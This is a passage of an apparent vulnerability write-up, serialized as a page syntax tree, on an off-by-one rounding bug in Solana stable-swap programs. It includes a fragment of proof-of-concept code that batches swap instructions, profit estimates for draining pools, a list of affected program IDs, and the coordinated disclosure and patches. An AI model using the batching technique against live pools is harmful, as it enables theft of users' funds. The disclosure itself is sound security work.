instructions",{"type":24,"tag":83,"props":3521,"children":3522},{"style":143},[3523],{"type":29,"value":146},{"type":24,"tag":83,"props":3525,"children":3526},{"style":101},[3527],{"type":29,"value":3473},{"type":24,"tag":83,"props":3529,"children":3530},{"style":107},[3531],{"type":29,"value":3532},"[];\n",{"type":24,"tag":83,"props":3534,"children":3535},{"class":85,"line":1730},[3536],{"type":24,"tag":83,"props":3537,"children":3538},{"emptyLinePlaceholder":16},[3539],{"type":29,"value":3422},{"type":24,"tag":83,"props":3541,"children":3542},{"class":85,"line":1770},[3543,3548,3552,3557,3561,3566],{"type":24,"tag":83,"props":3544,"children":3545},{"style":137},[3546],{"type":29,"value":3547},"    instructions",{"type":24,"tag":83,"props":3549,"children":3550},{"style":143},[3551],{"type":29,"value":161},{"type":24,"tag":83,"props":3553,"children":3554},{"style":101},[3555],{"type":29,"value":3556},"push",{"type":24,"tag":83,"props":3558,"children":3559},{"style":107},[3560],{"type":29,"value":558},{"type":24,"tag":83,"props":3562,"children":3563},{"style":137},[3564],{"type":29,"value":3565},"swap_instruction",{"type":24,"tag":83,"props":3567,"children":3568},{"style":107},[3569],{"type":29,"value":581},{"type":24,"tag":83,"props":3571,"children":3572},{"class":85,"line":1778},[3573],{"type":24,"tag":83,"props":3574,"children":3575},{"emptyLinePlaceholder":16},[3576],{"type":29,"value":3422},{"type":24,"tag":83,"props":3578,"children":3579},{"class":85,"line":1803},[3580,3585,3589,3594,3598,3602,3607,3611,3615,3620,3624,3628,3632],{"type":24,"tag":83,"props":3581,"children":3582},{"style":137},[3583],{"type":29,"value":3584},"    env",{"type":24,"tag":83,"props":3586,"children":3587},{"style":143},[3588],{"type":29,"value":161},{"type":24,"tag":83,"props":3590,"children":3591},{"style":101},[3592],{"type":29,"value":3593},"execute_as_transaction",{"type":24,"tag":83,"props":3595,"children":3596},{"style":107},[3597],{"type":29,"value":558},{"type":24,"tag":83,"props":3599,"children":3600},{"style":143},[3601],{"type":29,"value":2853},{"type":24,"tag":83,"props":3603,"children":3604},{"style":137},[3605],{"type":29,"value":3606},"instructions",{"type":24,"tag":83,"props":3608,"children":3609},{"style":107},[3610],{"type":29,"value":568},{"type":24,"tag":83,"props":3612,"children":3613},{"style":143},[3614],{"type":29,"value":2853},{"type":24,"tag":83,"props":3616,"children":3617},{"style":101},[3618],{"type":29,"value":3619},"vec!",{"type":24,"tag":83,"props":3621,"children":3622},{"style":107},[3623],{"type":29,"value":1161},{"type":24,"tag":83,"props":3625,"children":3626},{"style":143},[3627],{"type":29,"value":2853},{"type":24,"tag":83,"props":3629,"children":3630},{"style":137},[3631],{"type":29,"value":3280},{"type":24,"tag":83,"props":3633,"children":3634},{"style":107},[3635],{"type":29,"value":3496},{"type":24,"tag":83,"props":3637,"children":3638},{"class":85,"line":1811},[3639],{"type":24,"tag":83,"props":3640,"children":3641},{"style":107},[3642],{"type":29,"value":464},{"type":24,"tag":25,"props":3644,"children":3645},{},[3646],{"type":29,"value":3647},"It works!",{"type":24,"tag":2677,"props":3649,"children":3650},{},[3651],{"type":24,"tag":25,"props":3652,"children":3653},{},[3654],{"type":29,"value":3655},"holy shit\nyea, this is big",{"type":24,"tag":25,"props":3657,"children":3658},{},[3659],{"type":24,"tag":2510,"props":3660,"children":3662},{"alt":7,"src":3661},"/posts/spl-swap/poc.png",[],{"type":24,"tag":51,"props":3664,"children":3666},{"id":3665},"exploitability",[3667],{"type":29,"value":3668},"Exploitability",{"type":24,"tag":25,"props":3670,"children":3671},{},[3672],{"type":29,"value":3673},"Off-by-one bugs are much easier to exploit on Solana compared to other chains, enabled by the relatively low fees on Solana.",{"type":24,"tag":25,"props":3675,"children":3676},{},[3677],{"type":29,"value":3678},"A single swap on Ethereum can cost dozens of dollars, but on Solana packing hundreds of swap instructions into a single transaction costs the same flat rate of 5000 lamports (at least prior to the 1.9 per transaction size compute limit update).",{"type":24,"tag":25,"props":3680,"children":3681},{},[3682],{"type":29,"value":3683},"This transaction cost discrepancy can trip up developers who transitioned from Ethereum to Solana. For example, the developers who wrote tests for the Solana Program Library implementation of stable swap assumed the impact of an off by one error would be negligible.",{"type":24,"tag":25,"props":3685,"children":3686},{},[3687],{"type":24,"tag":2510,"props":3688,"children":3690},{"alt":7,"src":3689},"/posts/spl-swap/pr.png",[],{"type":24,"tag":25,"props":3692,"children":3693},{},[3694,3696,3701],{"type":29,"value":3695},"As we mentioned previously, due to the rounding error, each swap allowed an attacker to steal a single token. It's important to keep in mind that this represents a single token ",{"type":24,"tag":2655,"props":3697,"children":3698},{},[3699],{"type":29,"value":3700},"per instruction",{"type":29,"value":3702},". Transactions on Solana can also contain multiple instructions.",{"type":24,"tag":25,"props":3704,"children":3705},{},[3706],{"type":29,"value":3707},"With an onchain program, we are able to fit over 50 swap instructions per transaction. Each transaction can be run around 3 times before exceeding the per-instruction compute limit cap. Thus, we can pack around 150 invocations per transaction.",{"type":24,"tag":25,"props":3709,"children":3710},{},[3711,3713,3718],{"type":29,"value":3712},"Some quick napkin math confirms that this ",{"type":24,"tag":2655,"props":3714,"children":3715},{},[3716],{"type":29,"value":3717},"is",{"type":29,"value":3719}," indeed profitable. At a price of $41440 per Bitcoin, we are able to steal around 6 cents per transaction.",{"type":24,"tag":25,"props":3721,"children":3722},{},[3723],{"type":24,"tag":32,"props":3724,"children":3728},{"className":3725},[3726,3727],"language-math","math-inline",[3729],{"type":24,"tag":83,"props":3730,"children":3733},{"className":3731},[3732],"katex",[3734],{"type":24,"tag":83,"props":3735,"children":3738},{"className":3736,"ariaHidden":1237},[3737],"katex-html",[3739,3847,3903,3943],{"type":24,"tag":83,"props":3740,"children":3743},{"className":3741},[3742],"base",[3744,3750,3757,3820,3830,3836,3843],{"type":24,"tag":83,"props":3745,"children":3749},{"className":3746,"style":3748},[3747],"strut","height:0.8141em;",[],{"type":24,"tag":83,"props":3751,"children":3754},{"className":3752},[3753],"mord",[3755],{"type":29,"value":3756},"1",{"type":24,"tag":83,"props":3758,"children":3760},{"className":3759},[3753],[3761,3766],{"type":24,"tag":83,"props":3762,"children":3764},{"className":3763},[3753],[3765],{"type":29,"value":1166},{"type":24,"tag":83,"props":3767,"children":3770},{"className":3768},[3769],"msupsub",[3771],{"type":24,"tag":83,"props":3772,"children":3775},{"className":3773},[3774],"vlist-t",[3776],{"type":24,"tag":83,"props":3777,"children":3780},{"className":3778},[3779],"vlist-r",[3781],{"type":24,"tag":83,"props":3782,"children":3785},{"className":3783,"style":3748},[3784],"vlist",[3786],{"type":24,"tag":83,"props":3787,"children":3789},{"style":3788},"top:-3.063em;margin-right:0.05em;",[3790,3796],{"type":24,"tag":83,"props":3791,"children":3795},{"className":3792,"style":3794},[3793],"pstrut","height:2.7em;",[],{"type":24,"tag":83,"props":3797,"children":3803},{"className":3798},[3799,3800,3801,3802],"sizing","reset-size6","size3","mtight",[3804],{"type":24,"tag":83,"props":3805,"children":3807},{"className":3806},[3753,3802],[3808,3814],{"type":24,"tag":83,"props":3809,"children":3811},{"className":3810},[3753,3802],[3812],{"type":29,"value":3813},"−",{"type":24,"tag":83,"props":3815,"children":3817},{"className":3816},[3753,3802],[3818],{"type":29,"value":3819},"8",{"type":24,"tag":83,"props":3821,"children":3823},{"className":3822},[3753,29],[3824],{"type":24,"tag":83,"props":3825,"children":3827},{"className":3826},[3753],[3828],{"type":29,"value":3829}," BTC",{"type":24,"tag":83,"props":3831,"children":3835},{"className":3832,"style":3834},[3833],"mspace","margin-right:0.2222em;",[],{"type":24,"tag":83,"props":3837,"children":3840},{"className":3838},[3839],"mbin",[3841],{"type":29,"value":3842},"∗",{"type":24,"tag":83,"props":3844,"children":3846},{"className":3845,"style":3834},[3833],[],{"type":24,"tag":83,"props":3848,"children":3850},{"className":3849},[3742],[3851,3856,3862,3869,3874,3880,3890,3894,3899],{"type":24,"tag":83,"props":3852,"children":3855},{"className":3853,"style":3854},[3747],"height:1em;vertical-align:-0.25em;",[],{"type":24,"tag":83,"props":3857,"children":3859},{"className":3858},[3753],[3860],{"type":29,"value":3861},"$41",{"type":24,"tag":83,"props":3863,"children":3866},{"className":3864},[3865],"mpunct",[3867],{"type":29,"value":3868},",",{"type":24,"tag":83,"props":3870,"children":3873},{"className":3871,"style":3872},[3833],"margin-right:0.1667em;",[],{"type":24,"tag":83,"props":3875,"children":3877},{"className":3876},[3753],[3878],{"type":29,"value":3879},"400/",{"type":24,"tag":83,"props":3881,"children":3883},{"className":3882},[3753,29],[3884],{"type":24,"tag":83,"props":3885,"children":3887},{"className":3886},[3753],[3888],{"type":29,"value":3889},"BTC",{"type":24,"tag":83,"props":3891,"children":3893},{"className":3892,"style":3834},[3833],[],{"type":24,"tag":83,"props":3895,"children":3897},{"className":3896},[3839],[3898],{"type":29,"value":3842},{"type":24,"tag":83,"props":3900,"children":3902},{"className":3901,"style":3834},[3833],[],{"type":24,"tag":83,"props":3904,"children":3906},{"className":3905},[3742],[3907,3912,3918,3928,3933,3939],{"type":24,"tag":83,"props":3908,"children":3911},{"className":3909,"style":3910},[3747],"height:0.8389em;vertical-align:-0.1944em;",[],{"type":24,"tag":83,"props":3913,"children":3915},{"className":3914},[3753],[3916],{"type":29,"value":3917},"150",{"type":24,"tag":83,"props":3919,"children":3921},{"className":3920},[3753,29],[3922],{"type":24,"tag":83,"props":3923,"children":3925},{"className":3924},[3753],[3926],{"type":29,"value":3927}," swaps",{"type":24,"tag":83,"props":3929,"children":3932},{"className":3930,"style":3931},[3833],"margin-right:0.2778em;",[],{"type":24,"tag":83,"props":3934,"children":3937},{"className":3935},[3936],"mrel",[3938],{"type":29,"value":1275},{"type":24,"tag":83,"props":3940,"children":3942},{"className":3941,"style":3931},[3833],[],{"type":24,"tag":83,"props":3944,"children":3946},{"className":3945},[3742],[3947,3952],{"type":24,"tag":83,"props":3948,"children":3951},{"className":3949,"style":3950},[3747],"height:0.8056em;vertical-align:-0.0556em;",[],{"type":24,"tag":83,"props":3953,"children":3955},{"className":3954},[3753],[3956],{"type":29,"value":3957},"$0.0621",{"type":24,"tag":25,"props":3959,"children":3960},{},[3961],{"type":29,"value":3962},"At 200 transactions per second, we can extract just over a million dollars per day.",{"type":24,"tag":25,"props":3964,"children":3965},{},[3966],{"type":29,"value":3967},"We're well on our way to becoming a millionaire!",{"type":24,"tag":51,"props":3969,"children":3971},{"id":3970},"patch",[3972],{"type":29,"value":3973},"Patch",{"type":24,"tag":25,"props":3975,"children":3976},{},[3977],{"type":29,"value":3978},"Now that we had a proof-of-concept going, it was time to contact the relevant teams.",{"type":24,"tag":25,"props":3980,"children":3981},{},[3982],{"type":29,"value":3983},"By grepping through Solana logs for the swap instruction log, we were able to identify many potential spl-token-swap forks.",{"type":24,"tag":73,"props":3985,"children":3989},{"code":3986,"language":3987,"meta":7,"className":3988,"style":7},"solana logs -um | grep 'Instruction: Swap' -B1\n","bash","language-bash shiki shiki-themes slack-dark",[3990],{"type":24,"tag":32,"props":3991,"children":3992},{"__ignoreMap":7},[3993],{"type":24,"tag":83,"props":3994,"children":3995},{"class":85,"line":86},[3996,4000,4005,4010,4015,4020,4025],{"type":24,"tag":83,"props":3997,"children":3998},{"style":101},[3999],{"type":29,"value":2623},{"type":24,"tag":83,"props":4001,"children":4002},{"style":187},[4003],{"type":29,"value":4004}," logs",{"type":24,"tag":83,"props":4006,"children":4007},{"style":187},[4008],{"type":29,"value":4009}," -um",{"type":24,"tag":83,"props":4011,"children":4012},{"style":143},[4013],{"type":29,"value":4014}," |",{"type":24,"tag":83,"props":4016,"children":4017},{"style":101},[4018],{"type":29,"value":4019}," grep",{"type":24,"tag":83,"props":4021,"children":4022},{"style":187},[4023],{"type":29,"value":4024}," 'Instruction: Swap'",{"type":24,"tag":83,"props":4026,"children":4027},{"style":187},[4028],{"type":29,"value":4029}," -B1\n",{"type":24,"tag":25,"props":4031,"children":4032},{},[4033],{"type":29,"value":4034},"With some Google dorking, we were able to identify many of these programs.",{"type":24,"tag":73,"props":4036,"children":4038},{"code":4037},"1SoLTvbiicqXZ3MJmnTL2WYXKLYpuxwHpa4yYrVQaMZ  - \"1 SOL\"\n9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP - Orca Swap Program v2\nSCHAtsf8mbjyjiv4LkhLKutTf6JnZAbdJKFkXQNMFHZ  - \"Sencha Swap\"\nSSwapUtytfBdBn1b9NUGG6foMVPtcWgpRU32HToDUZr  - \"Saros Swap\"\nSSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ  - Saber Stable Swap Program\nSSwpMgqNDsyV7mAgN9ady4bDVu5ySjmmXejXvy2vLt1  - Step Finance Swap Program\nSwaPpA9LAaLfeLi3a68M4DjnLqgtticKg6CnyNwgAC8  - Swap Program\n",[4039],{"type":24,"tag":32,"props":4040,"children":4041},{"__ignoreMap":7},[4042],{"type":29,"value":4037},{"type":24,"tag":25,"props":4044,"children":4045},{},[4046],{"type":29,"value":4047},"Now it was time to contact these teams.",{"type":24,"tag":25,"props":4049,"children":4050},{},[4051],{"type":29,"value":4052},"Of these protocols, Saber was the only one which had BTC stable swaps, which would make exploitation immediately profitable. Luckily, they were also the most responsive, triaging and patching the vulnerability in just over one day.",{"type":24,"tag":25,"props":4054,"children":4055},{},[4056],{"type":29,"value":4057},"After some discussion, they decided to port a patch from Curve.fi, subtracting one from the output amount.",{"type":24,"tag":73,"props":4059,"children":4061},{"code":4060,"language":2724,"meta":7,"className":2725,"style":7},"-        let dy = swap_destination_amount.checked_sub(y)?;\n+        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n+        let dy = swap_destination_amount.checked_sub(y)?.checked_sub(1)?;\n",[4062],{"type":24,"tag":32,"props":4063,"children":4064},{"__ignoreMap":7},[4065,4119,4132],{"type":24,"tag":83,"props":4066,"children":4067},{"class":85,"line":86},[4068,4073,4077,4082,4086,4091,4095,4099,4103,4107,4111,4115],{"type":24,"tag":83,"props":4069,"children":4070},{"style":143},[4071],{"type":29,"value":4072},"-",{"type":24,"tag":83,"props":4074,"children":4075},{"style":90},[4076],{"type":29,"value":2809},{"type":24,"tag":83,"props":4078,"children":4079},{"style":137},[4080],{"type":29,"value":4081}," dy",{"type":24,"tag":83,"props":4083,"children":4084},{"style":143},[4085],{"type":29,"value":146},{"type":24,"tag":83,"props":4087,"children":4088},{"style":137},[4089],{"type":29,"value":4090}," swap_destination_amount",{"type":24,"tag":83,"props":4092,"children":4093},{"style":143},[4094],{"type":29,"value":161},{"type":24,"tag":83,"props":4096,"children":4097},{"style":101},[4098],{"type":29,"value":2981},{"type":24,"tag":83,"props":4100,"children":4101},{"style":107},[4102],{"type":29,"value":558},{"type":24,"tag":83,"props":4104,"children":4105},{"style":137},[4106],{"type":29,"value":2858},{"type":24,"tag":83,"props":4108,"children":4109},{"style":107},[4110],{"type":29,"value":2872},{"type":24,"tag":83,"props":4112,"children":4113},{"style":143},[4114],{"type":29,"value":2900},{"type":24,"tag":83,"props":4116,"children":4117},{"style":107},[4118],{"type":29,"value":321},{"type":24,"tag":83,"props":4120,"children":4121},{"class":85,"line":113},[4122,4127],{"type":24,"tag":83,"props":4123,"children":4124},{"style":143},[4125],{"type":29,"value":4126},"+",{"type":24,"tag":83,"props":4128,"children":4129},{"style":2735},[4130],{"type":29,"value":4131},"        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n",{"type":24,"tag":83,"props":4133,"children":4134},{"class":85,"line":128},[4135,4139,4143,4147,4151,4155,4159,4163,4167,4171,4175,4179,4183,4187,4191,4195,4199],{"type":24,"tag":83,"props":4136,"children":4137},{"style":143},[4138],{"type":29,"value":4126},{"type":24,"tag":83,"props":4140,"children":4141},{"style":90},[4142],{"type":29,"value":2809},{"type":24,"tag":83,"props":4144,"children":4145},{"style":137},[4146],{"type":29,"value":4081},{"type":24,"tag":83,"props":4148,"children":4149},{"style":143},[4150],{"type":29,"value":146},{"type":24,"tag":83,"props":4152,"children":4153},{"style":137},[4154],{"type":29,"value":4090},{"type":24,"tag":83,"props":4156,"children":4157},{"style":143},[4158],{"type":29,"value":161},{"type":24,"tag":83,"props":4160,"children":4161},{"style":101},[4162],{"type":29,"value":2981},{"type":24,"tag":83,"props":4164,"children":4165},{"style":107},[4166],{"type":29,"value":558},{"type":24,"tag":83,"props":4168,"children":4169},{"style":137},[4170],{"type":29,"value":2858},{"type":24,"tag":83,"props":4172,"children":4173},{"style":107},[4174],{"type":29,"value":2872},{"type":24,"tag":83,"props":4176,"children":4177},{"style":143},[4178],{"type":29,"value":2877},{"type":24,"tag":83,"props":4180,"children":4181},{"style":101},[4182],{"type":29,"value":2981},{"type":24,"tag":83,"props":4184,"children":4185},{"style":107},[4186],{"type":29,"value":558},{"type":24,"tag":83,"props":4188,"children":4189},{"style":245},[4190],{"type":29,"value":3756},{"type":24,"tag":83,"props":4192,"children":4193},{"style":107},[4194],{"type":29,"value":2872},{"type":24,"tag":83,"props":4196,"children":4197},{"style":143},[4198],{"type":29,"value":2900},{"type":24,"tag":83,"props":4200,"children":4201},{"style":107},[4202],{"type":29,"value":321},{"type":24,"tag":25,"props":4204,"children":4205},{},[4206,4208,4215],{"type":29,"value":4207},"For reference, here is the ",{"type":24,"tag":2033,"props":4209,"children":4212},{"href":4210,"rel":4211},"https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466",[2037],[4213],{"type":29,"value":4214},"Curve.fi implementation",{"type":29,"value":161},{"type":24,"tag":73,"props":4217,"children":4221},{"code":4218,"language":4219,"meta":7,"className":4220,"style":7},"    dy: uint256 = xp[j] - y - 1  # -1 just in case there were some rounding errors\n    dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR\n","solidity","language-solidity shiki shiki-themes slack-dark",[4222],{"type":24,"tag":32,"props":4223,"children":4224},{"__ignoreMap":7},[4225,4286],{"type":24,"tag":83,"props":4226,"children":4227},{"class":85,"line":86},[4228,4233,4237,4242,4246,4251,4255,4260,4264,4268,4273,4277,4281],{"type":24,"tag":83,"props":4229,"children":4230},{"style":107},[4231],{"type":29,"value":4232},"    dy",{"type":24,"tag":83,"props":4234,"children":4235},{"style":143},[4236],{"type":29,"value":195},{"type":24,"tag":83,"props":4238,"children":4239},{"style":3163},[4240],{"type":29,"value":4241}," uint256",{"type":24,"tag":83,"props":4243,"children":4244},{"style":143},[4245],{"type":29,"value":146},{"type":24,"tag":83,"props":4247,"children":4248},{"style":107},[4249],{"type":29,"value":4250}," xp[j] ",{"type":24,"tag":83,"props":4252,"children":4253},{"style":143},[4254],{"type":29,"value":4072},{"type":24,"tag":83,"props":4256,"children":4257},{"style":107},[4258],{"type":29,"value":4259}," y ",{"type":24,"tag":83,"props":4261,"children":4262},{"style":143},[4263],{"type":29,"value":4072},{"type":24,"tag":83,"props":4265,"children":4266},{"style":245},[4267],{"type":29,"value":295},{"type":24,"tag":83,"props":4269,"children":4270},{"style":107},[4271],{"type":29,"value":4272},"  # ",{"type":24,"tag":83,"props":4274,"children":4275},{"style":143},[4276],{"type":29,"value":4072},{"type":24,"tag":83,"props":4278,"children":4279},{"style":245},[4280],{"type":29,"value":3756},{"type":24,"tag":83,"props":4282,"children":4283},{"style":107},[4284],{"type":29,"value":4285}," just in case there were some rounding errors\n",{"type":24,"tag":83,"props":4287,"children":4288},{"class":85,"line":113},[4289,4294,4298,4302,4306,4311,4316,4321,4326],{"type":24,"tag":83,"props":4290,"children":4291},{"style":107},[4292],{"type":29,"value":4293},"    dy_fee",{"type":24,"tag":83,"props":4295,"children":4296},{"style":143},[4297],{"type":29,"value":195},{"type":24,"tag":83,"props":4299,"children":4300},{"style":3163},[4301],{"type":29,"value":4241},{"type":24,"tag":83,"props":4303,"children":4304},{"style":143},[4305],{"type":29,"value":146},{"type":24,"tag":83,"props":4307,"children":4308},{"style":107},[4309],{"type":29,"value":4310}," dy ",{"type":24,"tag":83,"props":4312,"children":4313},{"style":143},[4314],{"type":29,"value":4315},"*",{"type":24,"tag":83,"props":4317,"children":4318},{"style":107},[4319],{"type":29,"value":4320}," self.fee ",{"type":24,"tag":83,"props":4322,"children":4323},{"style":143},[4324],{"type":29,"value":4325},"/",{"type":24,"tag":83,"props":4327,"children":4328},{"style":107},[4329],{"type":29,"value":4330}," FEE_DENOMINATOR\n",{"type":24,"tag":25,"props":4332,"children":4333},{},[4334,4336,4343],{"type":29,"value":4335},"We originally thought this was an additional patch that didn't get ported over to Solana. However, it turns out this code was actually included in the ",{"type":24,"tag":2033,"props":4337,"children":4340},{"href":4338,"rel":4339},"https://github.com/curvefi/curve-contract/commit/0fd801df7488d89f0e2fc81e760942d7858b01d6",[2037],[4341],{"type":29,"value":4342},"original commit",{"type":29,"value":4344},", not as an additional security patch.",{"type":24,"tag":73,"props":4346,"children":4348},{"code":4347},"commit 0fd801df7488d89f0e2fc81e760942d7858b01d6\nAuthor: Ben Hauser \u003Cben@hauser.id>\nDate:   Mon Aug 31 02:35:30 2020 +0300\n\n    feat: add base pool without lending\n",[4349],{"type":24,"tag":32,"props":4350,"children":4351},{"__ignoreMap":7},[4352],{"type":29,"value":4347},{"type":24,"tag":25,"props":4354,"children":4355},{},[4356,4358,4365],{"type":29,"value":4357},"The commit adding stable swaps to SPL was ",{"type":24,"tag":2033,"props":4359,"children":4362},{"href":4360,"rel":4361},"https://github.com/solana-labs/solana-program-library/commit/d62ddd2b94d5d2daaa97460b165d288610a87623",[2037],[4363],{"type":29,"value":4364},"made a few months later",{"type":29,"value":4366},", meaning there was some disconnect when porting the code. Either the rounding was thought to be unnecesary, or it was simply forgotten.",{"type":24,"tag":73,"props":4368,"children":4370},{"code":4369},"commit d62ddd2b94d5d2daaa97460b165d288610a87623\nAuthor: Yuriy Savchenko \u003Cyuriy.savchenko@gmail.com>\nDate:   Tue Nov 17 15:13:18 2020 +0200\n\n    Added stable curve invariant to the token swap smart contract (#838)\n\n    * Added stable curve invariant to the token swap smart contract\n\n    * Fixed formatting\n\n    * Added missing stable curve constraints\n\n    * Symbol renames to make math clearer\n\n    * Small refactoring according to PR comments, fixes for JS tests\n",[4371],{"type":24,"tag":32,"props":4372,"children":4373},{"__ignoreMap":7},[4374],{"type":29,"value":4369},{"type":24,"tag":25,"props":4376,"children":4377},{},[4378,4380,4387],{"type":29,"value":4379},"After contacting some other swap projects which were unaffected, we decided to notify the Solana team in order to get a patch upstreamed to ",{"type":24,"tag":2033,"props":4381,"children":4384},{"href":4382,"rel":4383},"https://github.com/solana-labs/solana-program-library",[2037],[4385],{"type":29,"value":4386},"the Solana Program Library",{"type":29,"value":161},{"type":24,"tag":25,"props":4389,"children":4390},{},[4391],{"type":29,"value":4392},"While few projects deploy the swap program from the Solana Program Library, the SPL program is meant as a reference implementation, and many exchanges fork their own code off of it.",{"type":24,"tag":25,"props":4394,"children":4395},{},[4396,4403],{"type":24,"tag":2033,"props":4397,"children":4400},{"href":4398,"rel":4399},"https://github.com/joncinque",[2037],[4401],{"type":29,"value":4402},"@joncinque",{"type":29,"value":4404}," helped triage this patch. We also asked him for his thoughts on a more complete solution.",{"type":24,"tag":2677,"props":4406,"children":4407},{},[4408],{"type":24,"tag":25,"props":4409,"children":4410},{},[4411],{"type":29,"value":4412},"Honestly, the idea of just subtracting 1 from the output will cover almost all situations correctly, so it's a good quick solution. I'll take a look to see if we can solve this for all situations through a correct application of checked_ceil_div, as with the constant product curve.",{"type":24,"tag":25,"props":4414,"children":4415},{},[4416,4418,4425,4427,4433],{"type":29,"value":4417},"After some thought, he helped ",{"type":24,"tag":2033,"props":4419,"children":4422},{"href":4420,"rel":4421},"https://github.com/solana-labs/solana-program-library/pull/2942",[2037],[4423],{"type":29,"value":4424},"introduce a PR",{"type":29,"value":4426}," which ceilings the computation in ",{"type":24,"tag":32,"props":4428,"children":4430},{"className":4429},[],[4431],{"type":29,"value":4432},"compute_new_destination_amount",{"type":29,"value":4434}," to correctly round within the stable curve math library.",{"type":24,"tag":73,"props":4436,"children":4438},{"code":4437,"language":2724,"meta":7,"className":2725,"style":7},"     // Solve for y by approximating: y**2 + b*y = c\n     let mut y_prev: U256;\n     let mut y = d_val;\n     for _ in 0..ITERATIONS {\n-        y_prev = y;\n-        y = (checked_u8_power(&y, 2)?.checked_add(c)?)\n-            .checked_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n-        if y == y_prev {\n+        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n+            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n+        if y_new == y {\n             break;\n+        } else {\n+            y = y_new;\n         }\n",[4439],{"type":24,"tag":32,"props":4440,"children":4441},{"__ignoreMap":7},[4442,4450,4480,4507,4535,4559,4635,4739,4766,4861,4964,4991,5003,5022,5045],{"type":24,"tag":83,"props":4443,"children":4444},{"class":85,"line":86},[4445],{"type":24,"tag":83,"props":4446,"children":4447},{"style":2735},[4448],{"type":29,"value":4449},"     // Solve for y by approximating: y**2 + b*y = c\n",{"type":24,"tag":83,"props":4451,"children":4452},{"class":85,"line":113},[4453,4458,4462,4467,4471,4476],{"type":24,"tag":83,"props":4454,"children":4455},{"style":90},[4456],{"type":29,"value":4457},"     let",{"type":24,"tag":83,"props":4459,"children":4460},{"style":90},[4461],{"type":29,"value":2751},{"type":24,"tag":83,"props":4463,"children":4464},{"style":137},[4465],{"type":29,"value":4466}," y_prev",{"type":24,"tag":83,"props":4468,"children":4469},{"style":143},[4470],{"type":29,"value":195},{"type":24,"tag":83,"props":4472,"children":4473},{"style":3163},[4474],{"type":29,"value":4475}," U256",{"type":24,"tag":83,"props":4477,"children":4478},{"style":107},[4479],{"type":29,"value":321},{"type":24,"tag":83,"props":4481,"children":4482},{"class":85,"line":128},[4483,4487,4491,4495,4499,4503],{"type":24,"tag":83,"props":4484,"children":4485},{"style":90},[4486],{"type":29,"value":4457},{"type":24,"tag":83,"props":4488,"children":4489},{"style":90},[4490],{"type":29,"value":2751},{"type":24,"tag":83,"props":4492,"children":4493},{"style":137},[4494],{"type":29,"value":2756},{"type":24,"tag":83,"props":4496,"children":4497},{"style":143},[4498],{"type":29,"value":146},{"type":24,"tag":83,"props":4500,"children":4501},{"style":137},[4502],{"type":29,"value":2765},{"type":24,"tag":83,"props":4504,"children":4505},{"style":107},[4506],{"type":29,"value":321},{"type":24,"tag":83,"props":4508,"children":4509},{"class":85,"line":183},[4510,4515,4519,4523,4527,4531],{"type":24,"tag":83,"props":4511,"children":4512},{"style":117},[4513],{"type":29,"value":4514},"     for",{"type":24,"tag":83,"props":4516,"children":4517},{"style":137},[4518],{"type":29,"value":2782},{"type":24,"tag":83,"props":4520,"children":4521},{"style":90},[4522],{"type":29,"value":2787},{"type":24,"tag":83,"props":4524,"children":4525},{"style":245},[4526],{"type":29,"value":248},{"type":24,"tag":83,"props":4528,"children":4529},{"style":143},[4530],{"type":29,"value":2796},{"type":24,"tag":83,"props":4532,"children":4533},{"style":107},[4534],{"type":29,"value":2801},{"type":24,"tag":83,"props":4536,"children":4537},{"class":85,"line":203},[4538,4542,4547,4551,4555],{"type":24,"tag":83,"props":4539,"children":4540},{"style":143},[4541],{"type":29,"value":4072},{"type":24,"tag":83,"props":4543,"children":4544},{"style":137},[4545],{"type":29,"value":4546},"        y_prev",{"type":24,"tag":83,"props":4548,"children":4549},{"style":143},[4550],{"type":29,"value":146},{"type":24,"tag":83,"props":4552,"children":4553},{"style":137},[4554],{"type":29,"value":2756},{"type":24,"tag":83,"props":4556,"children":4557},{"style":107},[4558],{"type":29,"value":321},{"type":24,"tag":83,"props":4560,"children":4561},{"class":85,"line":212},[4562,4566,4571,4575,4579,4583,4587,4591,4595,4599,4603,4607,4611,4615,4619,4623,4627,4631],{"type":24,"tag":83,"props":4563,"children":4564},{"style":143},[4565],{"type":29,"value":4072},{"type":24,"tag":83,"props":4567,"children":4568},{"style":137},[4569],{"type":29,"value":4570},"        y",{"type":24,"tag":83,"props":4572,"children":4573},{"style":143},[4574],{"type":29,"value":146},{"type":24,"tag":83,"props":4576,"children":4577},{"style":107},[4578],{"type":29,"value":223},{"type":24,"tag":83,"props":4580,"children":4581},{"style":101},[4582],{"type":29,"value":2844},{"type":24,"tag":83,"props":4584,"children":4585},{"style":107},[4586],{"type":29,"value":558},{"type":24,"tag":83,"props":4588,"children":4589},{"style":143},[4590],{"type":29,"value":2853},{"type":24,"tag":83,"props":4592,"children":4593},{"style":137},[4594],{"type":29,"value":2858},{"type":24,"tag":83,"props":4596,"children":4597},{"style":107},[4598],{"type":29,"value":568},{"type":24,"tag":83,"props":4600,"children":4601},{"style":245},[4602],{"type":29,"value":2867},{"type":24,"tag":83,"props":4604,"children":4605},{"style":107},[4606],{"type":29,"value":2872},{"type":24,"tag":83,"props":4608,"children":4609},{"style":143},[4610],{"type":29,"value":2877},{"type":24,"tag":83,"props":4612,"children":4613},{"style":101},[4614],{"type":29,"value":2882},{"type":24,"tag":83,"props":4616,"children":4617},{"style":107},[4618],{"type":29,"value":558},{"type":24,"tag":83,"props":4620,"children":4621},{"style":137},[4622],{"type":29,"value":2891},{"type":24,"tag":83,"props":4624,"children":4625},{"style":107},[4626],{"type":29,"value":2872},{"type":24,"tag":83,"props":4628,"children":4629},{"style":143},[4630],{"type":29,"value":2900},{"type":24,"tag":83,"props":4632,"children":4633},{"style":107},[4634],{"type":29,"value":2905},{"type":24,"tag":83,"props":4636,"children":4637},{"class":85,"line":256},[4638,4